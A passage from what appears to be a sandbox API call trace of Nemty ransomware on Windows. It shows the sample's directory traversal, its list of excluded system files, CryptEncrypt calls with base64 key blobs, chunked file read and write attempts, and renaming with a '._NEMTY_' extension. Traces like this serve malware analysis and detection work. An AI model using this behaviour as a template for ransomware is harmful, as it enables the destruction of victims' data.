0x4f9ed58 [0058.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_rgb.wmv", lpUsedDefaultChar=0x0) returned 20 [0058.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0058.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0058.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0058.622] Sleep (dwMilliseconds=0x5) [0058.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd696b3f0, dwHighDateTime=0x1d561e7)) [0058.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd696b3f0, dwHighDateTime=0x1d561e7)) [0058.622] GetLastError () returned 0x5 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.623] GetLastError () returned 0x5 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.623] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0058.623] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="wAdrEO3Gr/07PCVtSjS8mxMP2UG5QSGIqqMGq541PeXl45dneXQ8vCEfgG6SZk8v\r\nZuBomKDRiozLIWIxcXzMg7dLSfMD1LPH7n0r0xHqCYfUlEOVJ1RtIGQmNDQOqkDW\r\nvcE8YnPw4FZ/xJ2tD59hS7lXLm2blDUQNVcGX5EWflIBO52dSQ01dop5V+cg6fL6\r\nLWawTuqs/Do7l/pudNtku50mJGOTzcBmX4bJdU12exkiDmosYiAOT8ctjK7L4Uco\r\nhIRvyNRm+WNApF4Pd+uI1NNGbhKGL0SiUNNxSG1OdE08fuqYhf3zIs4OtXyhhUxP\r\nQGaS6/HlY3fYEs/hULX4hw==\r\n", pcchString=0x653e91c) returned 1 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0058.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0058.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0058.623] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.624] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.739] CloseHandle (hObject=0xffffffff) returned 0 [0058.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0058.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0058.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0058.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0058.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.740] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv._nemty_kgobjgd_")) returned 0 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.741] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2=".") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="..") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="...") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="windows") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="rsa") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntldr") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="IO.SYS") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="boot.ini") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="boot.ini") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntuser.dat") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="desktop.ini") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="RECYCLER") returned -1 [0058.741] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.742] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootmgr") returned 1 [0058.742] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="programdata") returned -1 [0058.742] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="appdata") returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_RGB_PAL.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_RGB_PAL.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_RGB_PAL.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_trans_RGB_PAL.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0058.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0058.742] Sleep (dwMilliseconds=0x5) [0058.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6a9bef0, dwHighDateTime=0x1d561e7)) [0058.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6a9bef0, dwHighDateTime=0x1d561e7)) [0058.749] GetLastError () returned 0x5 [0058.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.749] GetLastError () returned 0x5 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, 